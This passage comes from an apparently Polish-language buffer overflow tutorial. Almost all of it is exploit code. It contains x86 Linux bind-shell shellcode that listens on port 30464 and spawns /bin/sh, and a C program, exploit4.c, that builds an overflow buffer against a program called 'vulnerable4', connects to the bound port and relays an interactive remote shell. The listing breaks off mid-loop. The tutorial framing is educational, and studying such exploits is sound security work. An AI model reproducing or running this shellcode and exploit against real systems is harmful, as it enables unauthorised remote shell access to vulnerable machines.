"\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ /* %eax="/bin" */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ /* %eax="/sh/" */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ ---------------------------------------------------------------------------- 6.4 Wykorzystaj podatny program vulnerable4 Z tym kodem mozesz bez problemow stworzyc exploit. A musisz takze stworzyc kod ktory laczy sie z gniazdem. exploit4.c ---------------------------------------------------------------------------- #include #include #include #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ "\xeb\x43" /* jmp 0x43 */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } long getip(char *name) { struct hostent *hp; long ip; if((ip=inet_addr(name))==-1) { if((hp=gethostbyname(name))==NULL) { fprintf(stderr,"Can't resolve host.\n"); exit(0); } memcpy(&ip,(hp->h_addr),4); } return ip; } int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0) exit(0); fputs(rcv,stdout); } } } int connect_sh(long ip) { int sockfd,i; struct sockaddr_in sin; printf("Connect to the shell\n"); fflush(stdout); memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(30464); sin.sin_addr.s_addr=ip; if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can't create socket\n"); exit(0); } if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can't connect to the shell\n"); exit(0); } return sockfd; } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; int sockfd; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i